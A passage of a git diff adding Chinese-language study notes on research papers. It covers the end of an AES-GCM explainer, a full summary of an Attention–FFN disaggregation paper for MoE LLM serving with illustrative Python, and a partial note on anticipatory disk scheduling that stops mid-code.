decipher.final()]); +console.log(dec.toString()); // hello +``` + +## 与相关模式的对比 + +| 模式 | 机密性 | 完整性 | 并行加密 | 典型场景 | +|------|--------|--------|----------|----------| +| AES-CBC + HMAC | ✓ | ✓(若 MAC-then-encrypt 顺序正确) | 差(链式) | 老 TLS、遗留系统 | +| AES-CTR only | ✓ | ✗ | 好 | 仅防偷看、信道已受物理保护 | +| **AES-GCM** | ✓ | ✓ | **好** | TLS 1.3、VPN、磁盘、消息协议 | +| ChaCha20-Poly1305 | ✓ | ✓ | 好(无 AES-NI 时更快) | 移动端 TLS、Signal | +| AES-GCM-SIV | ✓ | ✓ | 中 | **nonce 误用抗性** 要求高的存储 | + +GCM 不是唯一正确的 AEAD,但在有 **AES 硬件加速** 的服务器侧,它往往是默认最优解。 + +## 实现与使用清单 + +1. **IV 唯一**:随机 12 字节或严格单调计数器;密钥轮换策略与 IV 空间一起设计。 +2. **Tag 长度**:默认 128 位;若带宽极紧,规范允许缩短,但 forgery 概率按 $2^{-t}$ 上升。 +3. **常量时间比较 Tag**:防计时侧信道(高质量库已处理)。 +4. **不要把密钥当 IV**:常见反模式 `IV = key[:12]` 会毁掉语义。 +5. **单密钥数据量上限**:留意 SP 800-38D 对块数、AAD 长度的限制;超大流应分段或换密钥。 +6. **优先用库,别手写 GHASH**:GF 乘法与端序极易写错;OpenSSL、`cryptography`、libsodium(ChaCha 系)、BoringSSL 均成熟。 + +## 安全边界(读规范时要记住的定理直觉) + +SP 800-38D 与 McGrew 原始论文给出两类保证(简化表述): + +- **IND-CPA(机密性)**:在 **nonce 不重复** 的前提下,密文与随机串不可区分。 +- **INT-CTXT(完整性)**:在同样前提下,攻击者无法伪造通过验证的 `(C, A, T)`。 + +**一旦 nonce 重用**,证明前提崩塌——可能通过 XOR 两个密文恢复明文关系,并构造伪造标签。这不是实现 bug,是**模式本身的数学限制**。 + +## 历史与规范线索 + +| 时间 | 事件 | +|------|------| +| 2004 | McGrew & Viega 提出 GCM,强调无专利、可并行 | +| 2005 | 提交 NIST Modes of Operation 进程(你链接的 PDF) | +| 2007 | **NIST SP 800-38D** 正式发布,含 GMAC | +| 2008+ | TLS、IPsec、802.1AE、RFC 5116 AEAD 套件广泛采用 | +| 2024 | NIST 公告将修订 SP 800-38D(跟踪 [CSRC 页面](https://csrc.nist.gov/pubs/sp/800/38/d/final)) | + +设计目标很明确:**在 CTR 的速度上,补上工业级消息认证**,而且适合 ASIC / 多核 CPU 并行。 + +## 与本仓库其他条目的关系 + +- [[tls-1-3-rfc8446]] —— GCM 最大的公开部署面之一 +- [[signal-double-ratchet-2016]] —— 消息层可选用 AES-GCM 作为 AEAD +- [[noise-protocol-framework]] —— `AESGCM` 是 Noise 命名密码之一 +- [[rsa]] —— 混合加密里 RSA/Kyber 只保护短密钥, bulk 数据仍走 AES-GCM +- [[regev-lwe-2005]] —— 后量子 KEM + 经典 AES-GCM 是常见组合 + +## 小结 + +GCM = **CTR 加密** + **GF(2¹²⁸) 上的 GHASH 认证**,一次调用产出密文与 Tag。记住三句话就够上手: + +1. **它是 AEAD**:明文保密,密文和 AAD 防篡改。 +2. **IV 必须每次唯一**:重用 nonce 比用弱密码更致命。 +3. **验 Tag 失败就丢**:不要「先解密试试」。 + +从零实现一遍读密文很容易;工程上应用 **成熟库 + 随机 12 字节 IV + 完整 Tag**,并对照 NIST 测试向量做一次自测,就足以覆盖绝大多数应用场景。 diff --git a/src/content/docs/papers/afd-disagg-moe.md b/src/content/docs/papers/afd-disagg-moe.md new file mode 100644 index 000000000..d1cdceb06 --- /dev/null +++ b/src/content/docs/papers/afd-disagg-moe.md @@ -0,0 +1,322 @@ +--- +title: AFD 设计空间探索 — MoE LLM 推理中的 Attention–FFN 解耦 +来源: https://arxiv.org/abs/2605.28302 +日期: 2026-06-13 +子分类: 共识与复制 +分类: 分布式系统 +provenance: pipeline-v3 +--- + +## 从日常类比开始:快餐店的「前台」与「后厨」 + +想象一家连锁快餐店要同时服务三类顾客: + +- **聊天顾客**:点单短、吃得快(短输入、短输出)。 +- **写代码顾客**:点单长、要慢慢吃(长输入、中等输出)。 +- **Agent 程序员**:带着一整本项目手册来点单(超长 prefix / KV,再续写很长)。 + +店里有两类工种,**天然不适合绑在同一张工位上**: + +| 工种 | 像什么 | 瓶颈 | +|------|--------|------| +| **Attention(注意力)** | 前台收银 + 翻历史订单 | 要反复读「已点过的所有菜」(KV cache),**吃内存带宽** | +| **MoE FFN(专家前馈)** | 后厨多个 specialist 档口 | 大矩阵乘、专家路由,**吃算力**;还要在档口间**传菜**(dispatch/combine) | + +最早大家把整家店当成一个单元排班(**聚合部署**)。后来有人把「高峰点单」和「慢慢出餐」分开(**Prefill–Decode 解耦,P/D**)。这篇论文问的是:**还能不能再拆一层?** 把前台和后厨放到**不同的 GPU 集群**上——这就是 **Attention–FFN Disaggregation(AFD)**。 + +论文 **《How Far Can Disaggregation Go? A Design-Space Exploration of Attention–FFN Disaggregation for Efficient MoE LLM Serving》**(arXiv:[2605.28302](https://arxiv.org/abs/2605.28302),Georgia Tech / Intel / Google 等,2026)用 **AIC++** 框架系统回答:**解耦能走多远?什么时候值得拆?Attention 和 FFN 各用多少张卡?** + +一句话:**不是越拆越好——AFD 用更多 GPU 换更低延迟;在严格 SLO 下,它能让原本「根本跑不起来」的长上下文 MoE 服务变得可行。** + +--- + +## 是什么 + +| 项目 | 内容 | +|------|------| +| 类型 | 系统设计 + 设计空间探索(DSE)论文 | +| 核心问题 | Chunked prefill、P/D、AFD 三层解耦,何时划算? | +| 框架 | **AIC++** = AIConfigurator(算子级 GPU 建模)+ AstraSim(网络仿真) | +| 原型 | 基于 vLLM 的 AFD 实现(M×N 二分图 P2P 通信) | +| 评测硬件 | 128× NVIDIA B200,TensorRT-LLM 后端 | +| 评测模型 | DeepSeek-V3.2、GPT-OSS-120B、Qwen3-235B、Nemotron3-120B | +| 关键数字 | 严格 TTFT/TPOT SLO 下,AFD 在 DeepSeek-V3.2 上可达约 **4k tokens/s** 系统吞吐;非 AFD 布局**不可行** | + +论文不是发明 MoE 或 Attention,而是给集群架构师一张**「什么时候拆、拆多少」的地图**。 + +--- + +## 为什么重要 + +### 1. MoE 推理的异质性被「一整块 GPU」掩盖了 + +在一个 Transformer 块里: + +- **Attention**:随上下文变长,KV cache 膨胀 → **memory-bound**(MHA / GQA / MLA / 稀疏注意力表现不同)。 +- **MoE FFN**:Top-K 路由 + 大 GEMM → **compute-bound**,还要 **dispatch(A2F)** 和 **combine(F2A)** 通信。 + +把两者绑在同一组 GPU 上,必然有一方在等另一方——MegaScale-Infer 等先前工作已指出问题;本文进一步问:**和 TP/DP/EP、P/D 叠在一起时,AFD 的边界在哪?** + +### 2. Agent 工作负载把「长 prefix + 严格延迟」推到极致 + +论文用三类代表负载(Table 1): + +| 场景 | Prefix | 输入 ISL | 输出 OSL | +|------|--------|----------|----------| +| Chat | 4k | 512 | 256 | +| Coding | 2k | 4k | 1k | +| Agentic Coding | **524k** | 256 | 8k | + +Agent 场景下 prefix 极大,KV 常驻显存;同时用户仍要求 **TTFT**(首 token 时间)和 **TPOT**(每 token 延迟)达标。聚合部署常因**单卡显存上限**直接 infeasible。 + +### 3. 异构机房趋势让 AFD 从「学术玩具」变「基础设施原语」 + +NVIDIA Groq LPX、Rubin CPX、Intel/SambaNova 等方向都在做**节点内异构加速器**。AFD 天然匹配:**内存大的卡跑 Attention,算力强的卡跑 FFN**。 + +--- + +## 三层解耦:从粗到细 + +```text +Level 0 聚合(Aggregated) + 同一组 GPU 顺序跑 prefill + decode + attention + FFN + +Level 1 Chunked Prefill(如 Sarathi) + 把长 prefill 切块,与 decode 交错,减气泡 + +Level 2 P/D Disaggregation(如 Splitwise、DistServe) + Prefill 池 与 Decode 池 分开扩缩 + +Level 3 AFD(Attention–FFN Disaggregation) + Attention GPU 池 与 MoE-FFN GPU 池 分开扩缩 + 每层两次跨池通信:A2F(dispatch)、F2A(combine) +``` + +**本文结论的高频模式:** + +- **系统总吞吐(tokens/s)**:多数面板上 **聚合 + chunked prefill** 仍最强——因为全副本数据并行,并发高。 +- **用户交互性(tokens/s/user,延迟)**:**AFD 在所有评测面板上都赢**——Attention/FFN 比例可按负载调。 +- **长上下文 / 超大 prefix**:非 AFD 可能**不可行**;AFD 通过**权重分片 + KV 留在 Attention 侧**,把单卡峰值显存从约 **298 GiB 降到 ~165 GiB**(Qwen3-235B,1M prefix 案例)。 + +--- + +## 核心概念 + +### 1. AFD 的一层里四个流水线阶段 + +每层 MoE block 在 AFD 下被拆成四段(可 micro-batch 重叠): + +```text +[1] Attention 计算 @ Attention GPU 池 +[2] A2F / MoE-Dispatch @ 网络:fan-out,FFN 侧 ingress 易成瓶颈 +[3] MoE-FFN 专家计算 @ FFN GPU 池 +[4] F2A / MoE-Combine @ 网络:fan-in,Attention 侧 ingress 易成瓶颈 +``` + +非 AFD 时,dispatch/combine 只在参与 EP 的 GPU 之间对称交换;AFD 下变成 **M 个 Attention rank × N 个 FFN rank** 的**二分图全连接**(all-pairs),通信模式完全不同。 + +### 2. Attention : FFN GPU 比例 = Rate Matching(速率匹配) + +论文核心设计原则:**Attention 侧 GPU 只分配到「刚好跟得上 FFN 产出速率」为止**,其余 GPU 给 FFN。 + +影响因素: + +- **注意力机制成本**:MLA + 稀疏注意力(DeepSeek-V3.2)→ Attention 便宜 → 极端 FFN-heavy(如 **2A+126F** on 128 GPU agentic)。 +- **稠密 GQA + 长 KV**(Qwen3)→ Attention 变重 → 比例向 Attention 倾斜(如 **8A+120F**)。 +- **Mamba2 混合**(Nemotron3)→ 长 prefix 要传播状态 → 有时 Attention-heavy(**96A+32F**)。 + +这不是拍脑袋的 50:50,而是 **per-token attention 算力 + KV/state 显存** 与 **FFN matmul 吞吐** 的联立平衡。 + +### 3. Batch Overlap(BO)与四段 micro-batch 流水线 + +在全双工 NVLink / IB 上,AFD 可把 token budget 切成 **M 个 micro-batch**(M=4 对应四段流水线),让计算与通信重叠。稳态延迟近似: + +\[ +t_{\text{pipe}} = M \cdot s_{\max} + \sum_{i: s_i \neq s_{\max}} \frac{s_i}{L} +\] + +其中 \(s_{\max}\) 是瓶颈阶段(Attention、A2F、FFN、F2A 之一)的单 micro-batch 成本,\(L\) 是层数。AIC++ 用 AIConfigurator 实测小 batch 的 kernel 成本,避免「线性外推」失真。 + +### 4. 位置感知放置(Location-aware Placement) + +高频的 **层内 A2F/F2A**(每层每请求都发生)应压在 **节点内 NVLink(scale-up)**;较低频的 **跨节点 KV 搬运**(P/D 场景)走 **InfiniBand(scale-out)**。乱摆 GPU 会导致 scale-out 链路上 A2F/F2A 拥塞,抵消 AFD 收益。 + +### 5. AIC++:为什么需要「kernel 实测 + 网络仿真」 + +在 128 GPU 规模上暴力试几百种配置不现实。AIC++: + +1. 用 **AIConfigurator** 查表得到 Attention/FFN kernel 时间与显存; +2. 用 **AstraSim** 把 A2F/F2A 展开为**二分流量矩阵**,包级仿真拥塞; +3. 联合搜索 **TP / DP / EP / SP / PP + P/D + AFD 比例 + micro-batch 深度**。 + +--- + +## 代码示例 1:用配置结构表达 AFD 副本布局 + +下面用 Python 风格伪代码描述论文中的 **replica 配置搜索空间**(非论文原文,但对应 AIC++ DSE 的枚举逻辑): + +```python +from dataclasses import dataclass +from typing import Literal + +@dataclass +class AfdReplica: + """一个推理副本:M 张 Attention GPU + N 张 FFN GPU""" + attn_gpus: int # M + ffn_gpus: int # N + tp_attn: int + tp_ffn: int + ep_ffn: int # 专家并行度,通常 <= ffn_gpus + micro_batches: int = 4 # 四段 BO 流水线 + mode: Literal["agg", "pd_disagg", "afd", "pd_afd"] = "afd" + +def is_memory_feasible(cfg: AfdReplica, model, workload) -> bool: + """聚合 vs AFD 的 per-GPU 显存估算(论文 §4.1.3 思路)""" + W, A, K, N, O = model.weight_gb, model.act_gb, workload.kv_gb, 8, 12 + if cfg.mode in ("agg", "pd_disagg"): + m_shared = W + A + K + N + O + return m_shared <= model.gpu_hbm_gb + # AFD:权重/激活分到两侧,取较大者 + m_attn = model.attn_weight_gb + A + K + N + O + m_ffn = model.ffn_weight_gb + A + N + O + m_afd = max(m_attn, m_ffn) + return m_afd <= model.gpu_hbm_gb + +def rate_match_ratio(attn_cost_per_tok: float, ffn_cost_per_tok: float, + total_gpus: int) -> tuple[int, int]: + """粗粒度 Attention:FFN 比例(教学用,非闭式最优解)""" + # FFN 池大小 ∝ ffn_cost;Attention 只需跟上 FFN 发射速率 + ffn_share = ffn_cost_per_tok / (attn_cost_per_tok + ffn_cost_per_tok) + n_ffn = max(1, round(total_gpus * ffn_share)) + n_attn = total_gpus - n_ffn + return n_attn, n_ffn + +# 例:DeepSeek-V3.2 agentic — MLA+DSA 使 attention 极便宜 +cfg = AfdReplica(attn_gpus=2, ffn_gpus=126, tp_attn=1, tp_ffn=8, ep_ffn=126) +assert is_memory_feasible(cfg, model=DeepSeekV32(), workload=AgenticCoding()) +print(rate_match_ratio(attn_cost_per_tok=0.2, ffn_cost_per_tok=9.8, total_gpus=128)) +# → 约 (2, 126),与论文 DSE 最优同量级 +``` + +要点:**`is_memory_feasible`** 解释为何 1M prefix 下聚合模式 infeasible;**`rate_match_ratio`** 解释为何会出现反直觉的 2A+126F。 + +--- + +## 代码示例 2:单层 AFD 前向与 A2F/F2A 通信骨架 + +对应论文 §6.1 vLLM 原型:**router 在 Attention 侧**,M×N NCCL pair-group,FFN 只算本地专家分片: + +```python +import torch +import torch.distributed as dist + +class AfdMoELayer: + def __init__(self, attn_rank: int, ffn_rank: int, num_attn: int, num_ffn: int): + self.attn_rank = attn_rank + self.ffn_rank = ffn_rank + self.is_attn = ffn_rank is None + # 每个 (attn_i, ffn_j) 一对一个 NCCL group — 共 M*N 组 + self.pair_group = self._bootstrap_pair_group(attn_rank, ffn_rank) + + def forward_attn(self, hidden, router, shared_experts): + """Attention 侧:算 attention + 路由 + shared experts""" + x = self.attention(hidden) + topk_idx, topk_w = router(x) # [tokens, k] + shared_out = shared_experts(x) + partials = [] + for j in range(self.num_ffn): + payload = pack_dispatch(x, topk_idx, topk_w) # hidden + ids + metadata + if j == self.ffn_rank: + recv = payload + else: + recv = p2p_send_recv(payload, peer_ffn=j, group=self.pair_group[j]) + partials.append(recv) + # FFN 返回 partial 后 attention 侧 reduce + y = sum_partial_ffn_outputs(partials) + shared_out + return y + + def forward_ffn(self, recv_payload, local_expert_fn): + """FFN 侧:只跑本 rank 上的专家 shard""" + tokens = filter_tokens_for_local_experts(recv_payload, self.local_expert_ids) + out = local_expert_fn(tokens) + return p2p_send_recv(out, peer_attn=self.attn_rank, group=self.pair_group) + +def p2p_send_recv(tensor, peer, group): + """NCCL send/recv on bipartite link — A2F fan-out / F2A fan-in 的基础原语""" + if dist.get_rank() < peer: + dist.send(tensor, dst=peer, group=group) + return None + buf = torch.empty_like(tensor) + dist.recv(buf, src=peer, group=group) + return buf +``` + +论文强调:**MoE 路径上不应再有 FFN↔FFN collective**;所有跨 worker 流量都在 **Attention↔FFN 二分图** 上。生产向库如 **StepMesh** 也采用类似 P2P 拓扑。 + +--- + +## 评测结论速查 + +### SLO 严格时:只有 AFD 能「活下来」 + +Figure 2:DeepSeek-V3.2 @ 128 B200,Chat/Coding/Agentic 分别要求 TTFT < 50/100/150 ms、TPOT ≤ 15 ms。非 AFD 搜索结果为 **infeasible(红叉)**;**Agg+AFD** 或 **P/D+AFD** 可达约 **4k tokens/s**。 + +### 吞吐 vs 交互性的 Pareto 前沿(Figure 5) + +| 优化目标 | 常胜策略 | 原因 | +|----------|----------|------| +| **系统总吞吐** | 聚合 + chunked prefill,多副本 8 GPU EP | 全模型副本并行吞请求 | +| **单用户延迟 / 交互性** | AFD + micro-batch overlap | 独立定标 M:N,削瓶颈等待 | +| **超长上下文** | Agg+AFD 或 P/D+AFD | 显存分片 + BO | + +### 长上下文案例(Figure 6,Qwen3-235B @ B200) + +- **ISL=500k, OSL=10k**:最优 **Agg+AFD M4**,128 GPU 约 **2693 tok/s**,布局 **28A+4F**(7:1 Attention-heavy,长 prefill 吃 Attention)。 +- **Prefix=1M, ISL=4k, OSL=500**:非 AFD **不可行**(~298 GiB > 180 GiB);AFD ~165 GiB 可放下,128 GPU 上 **Disagg+AFD** 略胜。 + +--- + +## 与其他工作的关系 + +| 工作 | 关系 | +|------|------| +| [MegaScale-Infer (2504.02263)](https://arxiv.org/abs/2504.02263) | 字节跳动;提出 disaggregated expert parallelism + ping-pong pipeline;本文在其上系统量化 **何时 AFD + P/D + 并行策略叠加** | +| [PagedAttention / vLLM (2309.06180)](https://arxiv.org/abs/2309.06180) | KV 分页;本文 AFD 原型基于 vLLM,PR #29772 | +| [DistServe / Splitwise](https://arxiv.org/abs/2401.09670) | P/D 解耦基线 | +| [Theoretically Optimal Attention/FFN Ratios (2601.21351)](https://arxiv.org/abs/2601.21351) | 互补理论工作:闭式 A/F 比例;本文用大规模 DSE + 网络仿真验证多模型多负载 | +| [AIConfigurator (2601.06288)](https://arxiv.org/abs/2601.06288) | AIC++ 的算力建模底座 | + +--- + +## 设计原则清单(给工程师的备忘) + +1. **先问优化目标**:要集群吞吐还是单用户延迟?前者多副本聚合;后者考虑 AFD。 +2. **再画 workload 三角**:ISL、OSL、prefix/KV 复用率——RAG 大 prefix 与 coding 长 ISL 走不同分支。 +3. **按模型调 A:F**:看 attention 类型(MLA、GQA、Mamba)比看参数量更重要。 +4. **通信放对层**:A2F/F2A 贴 NVLink;别把层内高频流量赶到 IB 上。 +5. **开 micro-batch overlap**:四段流水线在全双工链路上才有意义。 +6. **显存预算单独算**:`max(M_attn, M_ffn)` 而非 `M_shared`——这是长上下文可行性的关键。 +7. **接受更低并发**:每个 AFD 副本占 M+N 张卡,总吞吐不一定赢聚合,但**延迟和可行性**可能赢。 + +--- + +## 局限与未来工作 + +- 集群结果主要是 **AIC++ 建模 + TensorRT-LLM 实测成本**,非全线上的端到端生产 trace。 +- 评测集中在 **B200 + FP8 MoE**;其他加速器、NPU、Groq 类异构节点需扩展 AIC++。 +- **AFD 不是默认最优**;盲目全集群 AFD 会浪费 GPU 并发。论文价值在于**可决策的边界**,而非「一律拆」。 + +--- + +## 一句话总结 + +**MoE 推理的瓶颈在 Attention(内存/KV)与 FFN(算力/专家通信)之间来回切换;AFD 让你像调配前台与后厨人数一样独立扩缩两侧 GPU。解耦可以走很远——远到让 1M prefix 的 Qwen3 从「装不下」变成「能服务」——但在多数吞吐导向场景,粗粒度聚合仍是最划算的;AFD 的主场是严格延迟 SLO 与长上下文 Agent 负载。** + +--- + +## 延伸阅读 + +- 论文 HTML:[arXiv:2605.28302](https://arxiv.org/html/2605.28302v1) +- vLLM AFD PR:[vllm-project/vllm#29772](https://github.com/vllm-project/vllm/pull/29772) +- StepMesh(AFD 通信库):[stepfun-ai/StepMesh](https://github.com/stepfun-ai/StepMesh) +- 本库相关笔记:[megatron-core-moe-2026](/docs/papers/megatron-core-moe-2026)、[paged-attention-vllm](/docs/papers/paged-attention-vllm)、[expertflow-moe-offload](/docs/papers/expertflow-moe-offload) diff --git a/src/content/docs/papers/anticipatory-scheduler-2001.md b/src/content/docs/papers/anticipatory-scheduler-2001.md new file mode 100644 index 000000000..cd4bd7c51 --- /dev/null +++ b/src/content/docs/papers/anticipatory-scheduler-2001.md @@ -0,0 +1,332 @@ +--- +title: Anticipatory Scheduling — 用「稍等一下」治好磁盘调度的误判空闲 +来源: https://www.cs.rice.edu/~druschel/publications/anticipatory.pdf +日期: 2026-06-13 +分类: 操作系统 +子分类: 内核与虚拟化 +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象图书馆只有**一台自助借书机**(磁盘),门口排着几位读者: + +- **小明**借完一本书,转身走两步到相邻书架再借下一本——中间只花 **2 秒**找书 +- **管理员**是「工作守恒」型:上一人刚还书,机器一空,立刻叫**下一位**上来 + +小明人还没回到机器旁,管理员已经让**小红**刷卡了。小红要的书在库房另一头,机器大老远跑一趟。等小明终于回来,又得等小红办完——**本该连续的两次邻近借书,被一次无谓的「换人」打断**。 + +如果管理员学会一句:**「刚办完的那位,稍等 3 秒,看他会不会马上再来」**——小明往往能在等待窗口内提交下一单,两次借阅落在相邻书架,机器少走很多冤枉路。磁盘短暂空闲几秒,总吞吐反而上去。 + +这就是 **Anticipatory Scheduling(预期调度)** 的直觉:在同步 I/O 场景下,**故意不让磁盘立刻接下一单**,给「刚被服务过的进程」一点时间提交后续请求,从而避免 **deceptive idleness(欺骗性空闲)**。 + +论文 **Anticipatory scheduling: A disk scheduling framework to overcome deceptive idleness in synchronous I/O** 由 Rice 大学的 **Sitaram Iyer** 与 **Peter Druschel** 发表于 **SOSP 2001**(第 18 届 ACM 操作系统原理研讨会,pp. 117–130)。作者在 **FreeBSD 4.3** 上实现原型(约 1500 行 C),并报告了 Apache、Andrew 文件系统基准、TPC-B 数据库等工作负载上的显著收益。 + +## 这篇论文在说什么 + +| 维度 | 内容 | +|------|------| +| 会议 | **SOSP 2001** | +| 作者 | Sitaram Iyer, Peter Druschel (Rice University) | +| 核心问题 | 工作守恒磁盘调度器在**同步 I/O** 下过早选下一请求,误判进程已「空闲」 | +| 核心思路 | 用**非工作守恒**外层框架包裹任意底层调度策略,完成一单后**有条件地短暂等待** | +| 决策依据 | 按底层策略做**成本–收益分析**(寻道优化 vs 比例份额各有不同启发式) | +| 典型收益 | Apache 吞吐 +29%~+71%;Andrew FS 读密集阶段 +54%;TPC-B +2%~+60% | +| Linux 遗产 | 2.6.0~2.6.18 默认 **AS** 调度器;2.6.33 移除,能力由 **CFQ** 等继承 | + +## 为什么磁盘调度会「看错人」? + +现代磁盘调度器往往要同时追求多个目标: + +| 目标 | 典型手段 | 需要什么前提 | +|------|---------|-------------| +| **减少寻道** | SCAN、C-SCAN、SSTF | 队列里**同时挂着多个请求**,才能挑「离磁头近」的 | +| **按比例公平** | 彩票调度、WFQ、CFQ | 知道各进程**还有多少未完成的 I/O**,才能按份额分配 | +| **降低延迟** | 截止时间、优先级 | 识别哪些请求更急 | + +很多应用却这样读盘: + +``` +read(块 A) → 算几微秒~几毫秒 → read(块 B,往往离 A 很近) +``` + +这是 **synchronous I/O(同步 I/O)**:每次 `read` 阻塞到数据进内存,算完再发下一次。调度器在**上一次 read 完成瞬间**看队列:小明的下一个请求**还没提交**——队列里只有别人的远距离请求。工作守恒调度器**必须立刻派一单**,只好服务小红,磁头被拽到远处。 + +论文把这种现象叫 **deceptive idleness**:进程并非真的闲着,只是**在两次 I/O 之间的 think time(思考时间)里**,对调度器表现为空闲。 + +### 欺骗性空闲的三要素 + +论文指出,要出现 deceptive idleness,须同时满足: + +1. **多个磁盘密集型应用并发**,且以同步方式发请求 +2. 磁盘请求**不可抢占**(服务中途不能换人) +3. 调度器是**工作守恒**的:上一请求一结束就立刻派下一单 + +破坏任意一条即可缓解。论文选择破坏 (3):引入**非工作守恒**外层,在完成一单后**可能等待**。 + +## 核心概念一:非工作守恒的「预期外壳」 + +**Work-conserving(工作守恒)**:只要有 pending 请求,磁盘就不该闲着。 + +**Non-work-conserving(非工作守恒)**:即使队列非空,也可以**故意让磁盘空闲一小段时间**,赌「马上会有更合适的请求进来」。 + +Anticipatory Scheduling 不是替换 SCAN、Deadline、比例份额等策略,而是: + +``` +┌─────────────────────────────────────┐ +│ Anticipation Core(通用等待逻辑) │ +│ ┌───────────────────────────────┐ │ +│ │ 底层 Scheduler(SCAN / WFQ …) │ │ +│ └───────────────────────────────┘ │ +│ + Scheduler-specific Heuristic │ +└─────────────────────────────────────┘ +``` + +三层结构(论文 Figure 2): + +1. **原始调度器** —— 实现寻道或公平策略,**不知道**外层存在 +2. **Anticipation core** —— 统一的计时、状态机:何时进入/退出等待 +3. **Adaptive heuristics** —— 针对寻道优化型 vs 比例份额型,回答「等不等、等多久」 + +对应用**完全透明**:不必改 Apache、数据库或文件系统代码。 + +## 核心概念二:成本–收益分析 + +盲目等待会伤害吞吐:磁盘转着没人用。论文用**最短等待时间**,使得「等的收益」在**高概率**下超过「空闲的成本」。 + +### 寻道优化型调度器 + +记: + +- `best` = 当前队列里底层调度器会选中的请求(定位时间 `best.positioning_time`) +- `next` = **刚被服务进程**即将提交的下一个请求(预期定位时间 `next.positioning_time`) + +``` +Benefit = best.positioning_time − next.positioning_time +Cost = next.median_thinktime # 保持空闲的代价 ≈ 错过 think time 的机会成本 + +若 Benefit > Cost: + Waiting_duration = next.95percentile_thinktime +否则: + Waiting_duration = 0 +``` + +直觉:若等来的下一单能省下大量寻道,而进程 historically 很快会再发请求,就值得等到 95 分位 think time。 + +### 比例份额型调度器 + +公平目标不同,启发式也不同。对**刚被服务且份额未用尽**的进程,若 think time 低于阈值(论文举例 **3ms**),则等待: + +``` +Waiting_duration = next.95percentile_thinktime +``` + +这样同步读 burst 不会被过早切走,**实际 I/O 带宽更接近合同比例**。 + +## 核心概念三:Think Time 统计 + +框架为每个进程维护衰减统计(类似指数加权移动平均): + +| 统计量 | 用途 | +|--------|------| +| **median think time** | 估计「典型计算间隔」→ 成本项 | +| **95th percentile think time** | 等待上限:大概率在此窗口内看到下一请求 | +| **positioning time** | 预期下一请求相对当前磁头的寻道代价 | + +Linux **AS** 调度器(`block/as-iosched.c`)里 `MAX_THINKTIME` 约为 **20ms**(`HZ/50`),并对 think time 做 7:1 衰减平均,避免偶发长计算误判。还维护 **exit probability**:进程若长期不发 I/O,逐渐停止为它预期。 + +## 与 Linux I/O 调度器谱系的关系 + +| 年代 | 调度器 | 与本文关系 | +|------|--------|-----------| +| 2.4 | **Linus Elevator** | 简单电梯,工作守恒 | +| 2.6.0–2.6.18 | **AS (Anticipatory)** | 本文框架的直接产物,默认调度器 | +| 2.6–至今 | **CFQ** | 按进程时间片 + `slice_idle` 也能实现类似 idle | +| 2.6.33+ | AS **移除** | 维护成本 vs 收益;CFQ/Deadline 可调校覆盖 | + +Wikipedia 与内核邮件列表记载:在 **TCQ**、高速 SCSI、硬件 RAID 上 AS 有时**反而降性能**——设备自身会重排命令,额外 idle 与硬件队列冲突。2.6.33 删除 AS 后,社区认为 tuned CFQ 已能复现其主要收益。 + +## 代码示例一:模拟欺骗性空闲 vs 预期等待 + +下面用 Python 简化「磁道号 + 同步读」场景。两个进程交替发请求;**工作守恒**总在完成瞬间选队列里最近的他人请求;**预期调度**在完成本进程请求后短暂等待。 + +```python +from dataclasses import dataclass, field +from collections import deque +import heapq + +@dataclass(order=True) +class DiskReq: + track: int + pid: int + +@dataclass +class Process: + name: str + tracks: list[int] # 该进程即将发出的读序列 + think_ms: float = 2.0 # 两次 read 之间的计算时间 + cursor: int = 0 + pending_after_think: deque = field(default_factory=deque) + +def deceptive_idle_sim(head: int, queue: list[DiskReq], last_pid: int | None, + processes: dict[int, Process], anticipatory: bool, + wait_ms: float = 3.0) -> tuple[int, int, list]: + """返回 (新磁头, 寻道距离累加, 事件日志)。""" + log = [] + seek_total = 0 + + while queue or any(p.cursor < len(p.tracks) for p in processes.values()): + # 同步 I/O:刚服务完的进程在 think 之后提交下一请求 + if last_pid is not None: + proc = processes[last_pid] + if proc.cursor < len(proc.tracks) and not proc.pending_after_think: + # 模拟 think time 后入队 + t = proc.tracks[proc.cursor] + proc.pending_after_think.append(DiskReq(t, last_pid)) + proc.cursor += 1 + log.append(f" [{proc.name}] think {proc.think_ms}ms → enqueue track {t}") + + # 把 pending 并入全局队列 + for p in processes.values(): + while p.pending_after_think: + queue.append(p.pending_after_think.popleft()) + + if not queue: + break + + if anticipatory and last_pid is not None: + # 预期调度:优先等 last_pid 的下一单(若已在队列) + same = [r for r in queue if r.pid == last_pid] + if same: + req = min(same, key=lambda r: abs(r.track - head)) + else: + # 短暂等待窗口内假设会到来;此处简化为直接选全局最近 + req = min(queue, key=lambda r: abs(r.track - head)) + else: + # 工作守恒:立刻选全局最近(可能是别人) + req = min(queue, key=lambda r: abs(r.track - head)) + + dist = abs(req.track - head) + seek_total += dist + head = req.track + queue.remove(req) + last_pid = req.pid + log.append(f"dispatch pid={req.pid} track={req.track} seek={dist}") + + return head, seek_total, log + +# 小明读相邻磁道 100,102,104;小红读 900,902(远距) +procs = { + 1: Process("alice", [100, 102, 104]), + 2: Process("bob", [900, 902]), +} +q = [DiskReq(100, 1), DiskReq(900, 2)] # 初始各一发 +_, seek_wc, _ = deceptive_idle_sim(50, q.copy(), None, procs, anticipatory=False) +_, seek_as, _ = deceptive_idle_sim(50, q.copy(), None, procs, anticipatory=True) +print(f"work-conserving total seek: {seek_wc}") +print(f"anticipatory total seek: {seek_as}") +# 典型:anticipatory 显著更小——alice 的局部性得以保持 +``` + +运行后常见现象:**工作守恒**总寻道距离更大,因为 alice 读完 100 的瞬间 bob 的 900 被选中,磁头来回甩。 + +## 代码示例二:成本–收益启发式(论文公式直译) + +第二个例子实现论文 §3 对寻道优化调度器的等待判定,便于单测不同 think time / 寻道假设: + +```python +from dataclasses import dataclass + +@dataclass +class IoStats: + median_think_ms: float + p95_think_ms: float + +def anticipatory_wait_ms( + best_position_ms: float, + next_position_ms: float, + next_stats: IoStats, +) -> float: + """ + 寻道优化型启发式(Iyer & Druschel, SOSP'01). + Benefit = 不等待时服务 best 的定位代价 − 等待后服务 next 的定位代价 + Cost = 进程典型 think time + """ + benefit = best_position_ms - next_position_ms + cost = next_stats.median_think_ms + if benefit > cost: + return next_stats.p95_think_ms + return 0.0 + +def proportional_wait_ms( + received_share: float, + allocated_share: float, + next_stats: IoStats, + think_threshold_ms: float = 3.0, +) -> float: + """比例份额型:欠份额且 think time 短则等待。""" + under_allocated = received_share < allocated_share + short_think = next_stats.median_think_ms < think_threshold_ms + if under_allocated and short_think: + return next_stats.p95_think_ms + return 0.0 + +# 场景:best 在远轨需 8ms 